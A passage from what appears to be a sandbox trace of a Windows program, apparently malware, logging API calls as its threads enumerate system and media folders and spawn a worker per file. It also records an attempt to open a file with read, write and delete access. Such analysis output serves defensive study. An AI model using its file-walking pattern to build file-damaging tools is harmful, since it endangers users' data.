_Source="C:\\Users\\Public\\Recorded TV\\Sample Media" | out: _Dest="C:\\Users\\Public\\Recorded TV\\Sample Media") returned="C:\\Users\\Public\\Recorded TV\\Sample Media" [0048.634] wcscat (in: _Dest=0x41aa78, _Source="\\" | out: _Dest="C:\\Users\\Public\\Recorded TV\\Sample Media\\") returned="C:\\Users\\Public\\Recorded TV\\Sample Media\\" [0048.634] wcscat (in: _Dest=0x41aa78, _Source="win7_scenic-demoshort_raw.wtv" | out: _Dest="C:\\Users\\Public\\Recorded TV\\Sample Media\\win7_scenic-demoshort_raw.wtv") returned="C:\\Users\\Public\\Recorded TV\\Sample Media\\win7_scenic-demoshort_raw.wtv" [0048.878] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x41aa78, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x75c [0048.879] FindNextFileW (in: hFindFile=0x40a4a8, lpFindFileData=0x487660 | out: lpFindFileData=0x487660*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x917fa2ee, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x8a1f1b86, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x8a1f1b86, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x940000, dwReserved0=0x0, dwReserved1=0x0, cFileName="win7_scenic-demoshort_raw.wtv", cAlternateFileName="WIN7_S~1.WTV")) returned 0 [0048.879] FindClose (in: hFindFile=0x40a4a8 | out: hFindFile=0x40a4a8) returned 1 [0048.879] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x487660) returned 1 [0048.879] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44a4f0) returned 1 [0048.879] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44a730) returned 1 Thread: id = 354 os_tid = 0xc6c [0048.637] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x4e) returned 0x414830 [0048.637] wcscpy (in: _Dest=0x414830, _Source="C:\\Users\\Public\\Videos\\Sample Videos" | out: _Dest="C:\\Users\\Public\\Videos\\Sample Videos") returned="C:\\Users\\Public\\Videos\\Sample Videos" [0048.637] wcscat (in: _Dest=0x414830, _Source="\\" | out: _Dest="C:\\Users\\Public\\Videos\\Sample Videos\\") returned="C:\\Users\\Public\\Videos\\Sample Videos\\" [0048.637] wcscat (in: _Dest=0x414830, _Source="*" | out: _Dest="C:\\Users\\Public\\Videos\\Sample Videos\\*") returned="C:\\Users\\Public\\Videos\\Sample Videos\\*" [0048.637] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x4878c8 [0048.637] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Videos\\Sample Videos\\*", lpFindFileData=0x4878c8 | out: lpFindFileData=0x4878c8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x802f4656, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x288d31f9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x40a428 [0048.637] wcscmp (_String1=".", _String2=".") returned 0 [0048.637] FindNextFileW (in: hFindFile=0x40a428, lpFindFileData=0x4878c8 | out: lpFindFileData=0x4878c8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x802f4656, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x288d31f9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0048.637] wcscmp (_String1="..", _String2=".") returned 1 [0048.637] wcscmp (_String1="..", _String2="..") returned 0 [0048.637] FindNextFileW (in: hFindFile=0x40a428, lpFindFileData=0x4878c8 | out: lpFindFileData=0x4878c8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x802f4656, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be12937, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x288d31f9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x146, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0048.637] wcscmp (_String1="desktop.ini", _String2=".") returned 1 [0048.638] wcscmp (_String1="desktop.ini", _String2="..") returned 1 [0048.638] FindNextFileW (in: hFindFile=0x40a428, lpFindFileData=0x4878c8 | out: lpFindFileData=0x4878c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80282235, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bda0516, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7be12937, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x1907b8a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Wildlife.wmv", cAlternateFileName="")) returned 1 [0048.638] wcscmp (_String1="Wildlife.wmv", _String2=".") returned 1 [0048.638] wcscmp (_String1="Wildlife.wmv", _String2="..") returned 1 [0048.638] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x64) returned 0x420cb8 [0048.638] wcscpy (in: _Dest=0x420cb8, _Source="C:\\Users\\Public\\Videos\\Sample Videos" | out: _Dest="C:\\Users\\Public\\Videos\\Sample Videos") returned="C:\\Users\\Public\\Videos\\Sample Videos" [0048.638] wcscat (in: _Dest=0x420cb8, _Source="\\" | out: _Dest="C:\\Users\\Public\\Videos\\Sample Videos\\") returned="C:\\Users\\Public\\Videos\\Sample Videos\\" [0048.638] wcscat (in: _Dest=0x420cb8, _Source="Wildlife.wmv" | out: _Dest="C:\\Users\\Public\\Videos\\Sample Videos\\Wildlife.wmv") returned="C:\\Users\\Public\\Videos\\Sample Videos\\Wildlife.wmv" [0048.880] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x420cb8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x398 [0048.881] FindNextFileW (in: hFindFile=0x40a428, lpFindFileData=0x4878c8 | out: lpFindFileData=0x4878c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80282235, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bda0516, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7be12937, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x1907b8a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Wildlife.wmv", cAlternateFileName="")) returned 0 [0048.881] FindClose (in: hFindFile=0x40a428 | out: hFindFile=0x40a428) returned 1 [0048.881] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4878c8) returned 1 [0048.881] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x414830) returned 1 [0048.881] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x414410) returned 1 Thread: id = 355 os_tid = 0xc70 [0048.638] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Services\\verisign.bmp" (normalized: "c:\\program files\\common files\\services\\verisign.bmp")) returned 0x20 [0048.831] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Services\\verisign.bmp", dwFileAttributes=0x20) returned 0 [0048.831] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Services\\verisign.bmp" (normalized: "c:\\program files\\common files\\services\\verisign.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0048.831] GetLastError () returned 0x5 [0048.831] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Services\\verisign.bmp", dwFileAttributes=0x20) returned 0 [0048.831] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x421268) returned 1 Thread: id = 356 os_tid = 0xc74 [0048.639] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x5e46070 [0048.639] wcscpy (in: _Dest=0x5e46070, _Source="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft" | out: _Dest="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft") returned="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft" [0048.639] wcscat (in: _Dest=0x5e46070, _Source="\\" | out: _Dest="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\") returned="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\" [0048.639] wcscat (in: _Dest=0x5e46070, _Source="*" | out: _Dest="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\*") returned="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\*" [0048.639] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x487b30 [0048.639] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\*", lpFindFileData=0x487b30 | out: lpFindFileData=0x487b30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x409fe8 [0048.832] wcscmp (_String1=".", _String2=".") returned 0 [0048.833] FindNextFileW (in: hFindFile=0x409fe8, lpFindFileData=0x487b30 | out: lpFindFileData=0x487b30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0048.833] wcscmp (_String1="..", _String2=".") returned 1 [0048.833] wcscmp (_String1="..", _String2="..") returned 0 [0048.833] FindNextFileW (in: hFindFile=0x409fe8, lpFindFileData=0x487b30 | out: lpFindFileData=0x487b30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TTS20", cAlternateFileName="")) returned 1 [0048.833] wcscmp (_String1="TTS20", _String2=".") returned 1 [0048.833] wcscmp (_String1="TTS20", _String2="..") returned 1 [0048.833] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x78) returned 0x45dfb8 [0048.833] wcscpy (in: _Dest=0x45dfb8, _Source="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft" | out: _Dest="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft") returned="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft" [0048.833] wcscat (in: _Dest=0x45dfb8, _Source="\\" | out: _Dest="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\") returned="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\" [0048.833] wcscat (in: _Dest=0x45dfb8, _Source="TTS20" | out: _Dest="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20") returned="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20" [0051.337] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x45dfb8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x958 [0051.338] FindNextFileW (in: hFindFile=0x409fe8, lpFindFileData=0x487b30 | out: lpFindFileData=0x487b30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TTS20", cAlternateFileName="")) returned 0 [0051.338] FindClose (in: hFindFile=0x409fe8 | out: hFindFile=0x409fe8) returned 1 [0051.338] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x487b30) returned 1 [0051.338] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e46070) returned 1 [0051.338] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x419040) returned 1 Thread: id = 357 os_tid = 0xc78 [0048.640] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x8a) returned 0x44d538 [0048.640] wcscpy (in: _Dest=0x44d538, _Source="C:\\Program Files\\Microsoft SQL Server Compact Edition\\v3.5\\Desktop" | out: _Dest="C:\\Program Files\\Microsoft SQL Server Compact Edition\\v3.5\\Desktop") returned="C:\\Program Files\\Microsoft SQL Server Compact Edition\\v3.5\\Desktop" [0048.640] wcscat (in: _Dest=0x44d538, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft SQL Server Compact Edition\\v3.5\\Desktop\\") returned="C:\\Program Files\\Microsoft SQL Server Compact Edition\\v3.5\\Desktop\\" [0048.640] wcscat (in: _Dest=0x44d538, _Source="*" | out: _Dest="C:\\Program Files\\Microsoft SQL Server Compact Edition\\v3.5\\Desktop\\*") returned="C:\\Program Files\\Microsoft SQL Server Compact Edition\\v3.5\\Desktop\\*" [0048.640] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x487d98 [0048.640] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft SQL Server Compact Edition\\v3.5\\Desktop\\*", lpFindFileData=0x487d98 | out: lpFindFileData=0x487d98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e54b70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e54b70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x40a2e8 [0048.641] wcscmp (_String1=".", _String2=".") returned 0 [0048.641] FindNextFileW (in: hFindFile=0x40a2e8, lpFindFileData=0x487d98 | out: lpFindFileData=0x487d98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e54b70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e54b70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0048.641] wcscmp (_String1="..", _String2=".") returned 1 [0048.641] wcscmp (_String1="..", _String2="..") returned 0 [0048.641] FindNextFileW (in: hFindFile=0x40a2e8, lpFindFileData=0x487d98 | out: lpFindFileData=0x487d98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e54b70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e54b70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0048.641] FindClose (in: hFindFile=0x40a2e8 | out: hFindFile=0x40a2e8) returned 1 [0048.641] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x487d98) returned 1 [0048.642] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44d538) returned 1 [0048.642] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x416780) returned 1 Thread: id = 358 os_tid = 0xc7c [0048.642] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x82) returned 0x416780 [0048.642] wcscpy (in: _Dest=0x416780, _Source="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation" | out: _Dest="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation") returned="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation" [0048.642] wcscat (in: _Dest=0x416780, _Source="\\" | out: _Dest="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\") returned="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\" [0048.642] wcscat (in: _Dest=0x416780, _Source="*" | out: _Dest="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\*") returned="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\*" [0048.643] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x487d98 [0048.643] FindFirstFileW (in: lpFileName="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\*", lpFindFileData=0x487d98 | out: lpFindFileData=0x487d98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x40a2e8 [0048.643] wcscmp (_String1=".", _String2=".") returned 0 [0048.643] FindNextFileW (in: hFindFile=0x40a2e8, lpFindFileData=0x487d98 | out: lpFindFileData=0x487d98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0048.643] wcscmp (_String1="..", _String2=".") returned 1 [0048.643] wcscmp (_String1="..", _String2="..") returned 0 [0048.643] FindNextFileW (in: hFindFile=0x40a2e8, lpFindFileData=0x487d98 | out: lpFindFileData=0x487d98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8038cbd7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8038cbd7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v3.0", cAlternateFileName="")) returned 1 [0048.643] wcscmp (_String1="v3.0", _String2=".") returned 1 [0048.643] wcscmp (_String1="v3.0", _String2="..") returned 1 [0048.643] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x88) returned 0x416b70 [0048.643] wcscpy (in: _Dest=0x416b70, _Source="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation" | out: _Dest="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation") returned="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation" [0048.643] wcscat (in: _Dest=0x416b70, _Source="\\" | out: _Dest="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\") returned="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\" [0048.643] wcscat (in: _Dest=0x416b70, _Source="v3.0" | out: _Dest="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0") returned="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0" [0048.882] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x416b70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x394 [0048.883] FindNextFileW (in: hFindFile=0x40a2e8, lpFindFileData=0x487d98 | out: lpFindFileData=0x487d98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8038cbd7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8038cbd7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v3.5", cAlternateFileName="")) returned 1 [0048.883] wcscmp (_String1="v3.5", _String2=".") returned 1 [0048.883] wcscmp (_String1="v3.5", _String2="..") returned 1 [0048.883] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x88) returned 0x416ed0 [0048.883] wcscpy (in: _Dest=0x416ed0, _Source="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation" | out: _Dest="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation") returned="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation" [0048.883] wcscat (in: _Dest=0x416ed0, _Source="\\" | out: _Dest="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\") returned="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\" [0048.883] wcscat (in: _Dest=0x416ed0, _Source="v3.5" | out: _Dest="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5") returned="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5" [0048.883] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x416ed0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x760 [0048.884] FindNextFileW (in: hFindFile=0x40a2e8, lpFindFileData=0x487d98 | out: lpFindFileData=0x487d98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8038cbd7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8038cbd7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v3.5", cAlternateFileName="")) returned 0 [0048.884] FindClose (in: hFindFile=0x40a2e8 | out: hFindFile=0x40a2e8) returned 1 [0048.884] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x487d98) returned 1 [0048.884] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x416780) returned 1 [0048.884] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x446ff0) returned 1 Thread: id = 359 os_tid = 0xc80 [0048.644] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x82) returned 0x416c00 [0048.644] wcscpy (in: _Dest=0x416c00, _Source="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0" | out: _Dest="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0") returned="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0" [0048.644] wcscat (in: _Dest=0x416c00, _Source="\\" | out: _Dest="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\") returned="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\" [0048.644] wcscat (in: _Dest=0x416c00, _Source="*" | out: _Dest="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\*") returned="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\*" [0048.644] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x488000 [0048.644] FindFirstFileW (in: lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\*", lpFindFileData=0x488000 | out: lpFindFileData=0x488000*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x974da2e9, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x974da2e9, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x409fa8 [0048.837] wcscmp (_String1=".", _String2=".") returned 0 [0048.837] FindNextFileW (in: hFindFile=0x409fa8, lpFindFileData=0x488000 | out: lpFindFileData=0x488000*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x974da2e9, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x974da2e9, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0048.837] wcscmp (_String1="..", _String2=".") returned 1 [0048.837] wcscmp (_String1="..", _String2="..") returned 0 [0048.837] FindNextFileW (in: hFindFile=0x409fa8, lpFindFileData=0x488000 | out: lpFindFileData=0x488000*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa981eb4a, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa981eb4a, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa981eb4a, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x92000, dwReserved0=0x0, dwReserved1=0x0, cFileName="PresentationBuildTasks.dll", cAlternateFileName="")) returned 1 [0048.837] wcscmp (_String1="PresentationBuildTasks.dll", _String2=".") returned 1 [0048.837] wcscmp (_String1="PresentationBuildTasks.dll", _String2="..") returned 1 [0048.837] FindNextFileW (in: hFindFile=0x409fa8, lpFindFileData=0x488000 | out: lpFindFileData=0x488000*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa990338c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa990338c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa99757ac, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x3d0000, dwReserved0=0x0, dwReserved1=0x0, cFileName="PresentationCore.dll", cAlternateFileName="")) returned 1 [0048.838] wcscmp (_String1="PresentationCore.dll", _String2=".") returned 1 [0048.838] wcscmp (_String1="PresentationCore.dll", _String2="..") returned 1 [0048.838] FindNextFileW (in: hFindFile=0x409fa8, lpFindFileData=0x488000 | out: lpFindFileData=0x488000*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x993ade39, ftCreationTime.dwHighDateTime=0x1ca041e, ftLastAccessTime.dwLowDateTime=0x993ade39, ftLastAccessTime.dwHighDateTime=0x1ca041e, ftLastWriteTime.dwLowDateTime=0x5b475983, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x30000, dwReserved0=0x0, dwReserved1=0x0, cFileName="PresentationFramework.Aero.dll", cAlternateFileName="")) returned 1 [0048.838] wcscmp (_String1="PresentationFramework.Aero.dll", _String2=".") returned 1 [0048.838] wcscmp (_String1="PresentationFramework.Aero.dll", _String2="..") returned 1 [0048.838] FindNextFileW (in: hFindFile=0x409fa8, lpFindFileData=0x488000 | 